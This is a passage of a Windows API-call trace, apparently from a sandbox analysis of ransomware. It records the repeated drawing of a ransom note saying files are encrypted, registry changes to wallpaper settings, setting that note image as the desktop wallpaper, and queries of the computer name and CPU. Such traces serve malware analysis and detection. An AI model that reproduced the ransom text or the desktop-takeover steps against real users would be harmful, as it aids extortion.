folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.890] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.890] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.890] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.890] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22127f0) returned 0x0 [0159.890] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.890] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.890] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.891] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.891] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.891] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.891] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212868) returned 0x0 [0159.891] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.891] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.891] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.892] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.892] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.892] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.892] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22128e0) returned 0x0 [0159.892] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.892] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.892] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.893] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.893] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.893] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.893] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212958) returned 0x0 [0159.893] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.893] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.893] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.894] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.894] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.894] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.894] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22129d0) returned 0x0 [0159.894] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.894] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.894] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.895] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.895] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.895] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.895] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212a48) returned 0x0 [0159.895] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.895] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.895] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.896] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.896] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.896] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.896] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212ac0) returned 0x0 [0159.896] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.896] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.896] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.897] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.897] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.897] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.897] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212b38) returned 0x0 [0159.897] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.897] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.897] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.898] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.898] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.898] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.898] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212bb0) returned 0x0 [0159.898] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.898] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.898] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.899] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.899] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.899] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.899] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212c28) returned 0x0 [0159.899] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.899] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.899] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.900] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.900] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.900] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.900] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212ca0) returned 0x0 [0159.900] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.900] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.900] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.901] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.901] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.901] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.901] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212d18) returned 0x0 [0159.901] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.901] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.901] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.902] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.902] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.902] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.902] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212d90) returned 0x0 [0159.902] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.902] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.902] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.903] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.903] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.903] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.903] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212e08) returned 0x0 [0159.903] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.903] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.903] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.904] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.904] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.904] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.904] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212e80) returned 0x0 [0159.904] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.904] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.904] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.905] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.905] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.905] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.905] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212ef8) returned 0x0 [0159.905] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.905] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.905] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.906] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.906] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.906] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.906] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212f70) returned 0x0 [0159.906] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.906] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.906] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.907] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.907] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0160.133] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0160.608] GdipDeleteFont (font=0x1b81e980) returned 0x0 [0160.608] GdipDeleteGraphics (graphics=0x1b87d3c0) returned 0x0 [0160.630] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Desktop", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1af0dac8 | out: phkResult=0x1af0dac8*=0x3ac) returned 0x0 [0160.631] RegQueryValueExW (in: hKey=0x3ac, lpValueName="WallpaperStyle", lpReserved=0x0, lpType=0x1af0dae8, lpData=0x0, lpcbData=0x1af0dae0*=0x0 | out: lpType=0x1af0dae8*=0x1, lpData=0x0, lpcbData=0x1af0dae0*=0x6) returned 0x0 [0160.631] RegSetValueExW (in: hKey=0x3ac, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData="1", cbData=0x4 | out: lpData="1") returned 0x0 [0160.631] RegQueryValueExW (in: hKey=0x3ac, lpValueName="TileWallpaper", lpReserved=0x0, lpType=0x1af0dae8, lpData=0x0, lpcbData=0x1af0dae0*=0x0 | out: lpType=0x1af0dae8*=0x1, lpData=0x0, lpcbData=0x1af0dae0*=0x4) returned 0x0 [0160.631] RegSetValueExW (in: hKey=0x3ac, lpValueName="TileWallpaper", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x4 | out: lpData="0") returned 0x0 [0160.632] CoTaskMemAlloc (cb=0x20c) returned 0x1a57c250 [0160.632] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1a57c250 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0160.632] CoTaskMemFree (pv=0x1a57c250) [0160.632] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x1af0d5e0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0160.633] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1af0d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0160.633] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x1af0da08 | out: phkResult=0x1af0da08*=0x3b0) returned 0x0 [0160.634] GetComputerNameW (in: lpBuffer=0x1af0d790, nSize=0x1af0dab8 | out: lpBuffer="XDUWTFONO", nSize=0x1af0dab8) returned 1 [0160.634] RegQueryValueExW (in: hKey=0x3b0, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x1af0da58, lpData=0x0, lpcbData=0x1af0da50*=0x0 | out: lpType=0x1af0da58*=0x1, lpData=0x0, lpcbData=0x1af0da50*=0x50) returned 0x0 [0160.634] RegQueryValueExW (in: hKey=0x3b0, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x1af0da58, lpData=0x2227280, lpcbData=0x1af0da50*=0x50 | out: lpType=0x1af0da58*=0x1, lpData="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", lpcbData=0x1af0da50*=0x50) returned 0x0 [0160.634] RegCloseKey (hKey=0x3b0) returned 0x0 [0160.643] GdipGetImageEncodersSize (numEncoders=0x1af0dad0, size=0x1af0dac8) returned 0x0 [0160.644] GdipGetImageEncoders (in: numEncoders=0x5, size=0x4f0, encoders=0x1a6161b0 | out: encoders=0x1a6161b0) returned 0x0 [0160.653] LocalFree (hMem=0x1a6161b0) returned 0x0 [0160.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\wallpaper-a1526949c144cb020cfffafffaf82007.bmp", nBufferLength=0x105, lpBuffer=0x1af0d4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\wallpaper-a1526949c144cb020cfffafffaf82007.bmp", lpFilePart=0x0) returned 0x5f [0160.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\wallpaper-a1526949c144cb020cfffafffaf82007.bmp", nBufferLength=0x105, lpBuffer=0x1af0d3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\wallpaper-a1526949c144cb020cfffafffaf82007.bmp", lpFilePart=0x0) returned 0x5f [0160.657] GdipSaveImageToFile (image=0x1b91d2e0, filename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\wallpaper-a1526949c144cb020cfffafffaf82007.bmp", clsidEncoder=0x1af0db60*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0161.590] SystemParametersInfoW (in: uiAction=0x14, uiParam=0x0, pvParam="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\wallpaper-a1526949c144cb020cfffafffaf82007.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\wallpaper-a1526949c144cb020cfffafffaf82007.bmp"), fWinIni=0x3 | out: pvParam=0x2228264) returned 1 [0161.829] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.830] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.831] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.832] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.833] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.834] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.834] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.855] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x1a, wParam=0x14, lParam=0x1af0d998) returned 0x0 [0161.856] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x1a, wParam=0x14, lParam=0x1af0d998) returned 0x0 [0161.856] SystemParametersInfoW (in: uiAction=0x26, uiParam=0x0, pvParam=0x1af0d538, fWinIni=0x0 | out: pvParam=0x1af0d538) returned 1 [0161.944] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x7026c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0161.944] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x50114, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0162.122] CoTaskMemAlloc (cb=0x20c) returned 0x1a57c250 [0162.122] SHGetFolderPathW (in: hwnd=0x0, 